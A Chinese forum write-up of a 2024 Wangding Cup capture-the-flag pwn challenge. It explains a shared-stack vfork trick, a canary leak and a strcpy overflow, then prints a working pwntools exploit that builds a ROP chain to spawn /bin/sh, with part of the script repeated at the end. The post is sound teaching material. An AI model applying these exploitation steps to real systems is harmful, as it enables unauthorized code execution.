首页
社区
课程
招聘
[分享]2024网鼎杯玄武组pwn2题目详解
发表于: 2025-2-14 11:07 8166

[分享]2024网鼎杯玄武组pwn2题目详解

2025-2-14 11:07
8166

做这道题网上找的wp很多地方说的很笼统,自己就记录了一下解题过程
解题思路:

1.打开ida,发现程序没有符号表没找到main函数,然后先执行一下程序看看:

2.发现输出了一个gift,应该是类似于是canary的值,在ida中找到gift字符串然后查看交叉引用找到了下面这个函数然后在gdb中下断点查看bt调用栈:

3.发现这个输出gift的函数是0x401866处调用的,这段程序3个函数,第一个函数是做一些初始化工作,第二个函数调用了vfork函数创建了子进程,然后子进程返回执行了第三个函数然后在第三函数中执行了exit函数退出,主进程执行read函数在输入描述符读取一个字节,然后比对了rbp-0x28,如果不是1则puts一句It's impossible ,然后退出,否则验证完canary后retn:

(注:vfork函数创建一个子进程,父进程等待子进程结束以后才继续运行,)

4.经过分析发现第三个函数是子进程执行的,第二个函数是主进程执行的,唯一的交叉点就在rbp-0x28这,因为vfork调用是公用的栈空间,子进程是在第三函数内部执行exit结束的,但是调用第三函数的时候返回地址已经压栈了,也就是说,如果rbp-0x28=1的话,主进程会返回到第三个函数下面的指令:

5.分析第三函数,怎么能实现让主进程rbp-0x28=1,第三函数使用栈空间0x50,然后使用read函数读取了0x40个字节的输入,第二个函数使用了0x30个字节的栈空间,因为vfork公用栈,所以,虽然read函数没有溢出风险,但是我们可以控制rbp-0x28=1

6.接下来就是分析跳转过去以后的代码,同样的套路,使用vfork执行子进程,主进程如果rbp-0x11c=0x11111111那么ret返回,子进程read读取了0x100个字节也没有溢出风险,但是,下面这个函数中调用了strcopy函数发生了溢出,分析发现strcopy函数从read读取的0x100字节的位置开始往自己栈空间复制,但是自己栈帧只有0x60大小,所以会溢出,但是执行完strcopy后调用了exit退出,我们无法控制执行流程,但是可以覆盖上层栈帧的一些内容比如rbp-0x11c的值和read的参数

7.由于主线程检查rbp-0x11c不等于0x11111111的时候会重复调用vfork子进程,所以我们覆盖read参数是有意义的,我们可以在第一次执行子进程时覆盖read的size参数,那么第二次调用时它就会溢出,(注:因为canary的值的最后一个字节经常为0x00所以strcpy的时候会截断我们后续的构造,所以我们控制执行流程不能以strcpy后的值为准,payload需要以strcpy覆盖rbp-0x11c跳出循环,然后以read的溢出构造canary和后续的ret流程):

from pwn import*
 
#context.log_level = 'debug'
#sh = gdb.debug("./pwn","set follow-fork-mode parent\n b *0x401953\n b *0x401995\n c\n c\n set {long}($rbp-0x28)=1\n b *0x")
#sh = process("./pwn")
#sh.sendafter("leave your name","A"*64)
#sh.sendafter("Wanna return?","B")
#sh.interactive()
 
 
rax=0x0000000000450277
rdi=0x000000000040213f
rsi=0x000000000040a1ae
rdxrbx=0x0000000000485feb
sh_addr=0x00000000004C5000
read=0x000000000044F810
syscall=0x41ac26
 
p=process('/home/kali/Desktop/pwn')
#p=gdb.debug("./pwn","b *0x000000000040190C\n b *0x401953\n b *0x4019B0\n b *0x40189D\n b *0x40190C\n set follow-fork-mode parent\n ")
p.recvuntil(b'gift: ')
gift=p.recv(18)
gift=int(gift,16)
 
p.sendafter('leave your name',b'a'*0x28+p64(1))
p.sendafter('Wanna return?','A')
p.sendafter("once again?",b'A'*0x100)
payload=b'A'*0x60
payload+=p64(0x1111111111111111)
payload+=b'B'*0xa0
payload+=p64(gift)
payload+=b'C'*8
payload+=p64(rax)+p64(0x0)+p64(rdxrbx)+p64(0x10)*2+p64(rsi)+p64(sh_addr)+p64(rdi)+p64(0x0)+p64(syscall)
payload+=p64(rax)+p64(0x3B)+p64(rdi)+p64(sh_addr)+p64(rsi)+p64(0x0)+p64(rdxrbx)+p64(0x0)*2+p64(syscall)
 
 
p.sendafter("once again?",payload)
p.send(b'/bin/sh')
 
p.interactive()
from pwn import*
 
#context.log_level = 'debug'
#sh = gdb.debug("./pwn","set follow-fork-mode parent\n b *0x401953\n b *0x401995\n c\n c\n set {long}($rbp-0x28)=1\n b *0x")
#sh = process("./pwn")
#sh.sendafter("leave your name","A"*64)
#sh.sendafter("Wanna return?","B")
#sh.interactive()
 
 
rax=0x0000000000450277

[培训]科锐逆向工程师培训第53期2025年7月8日开班!

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回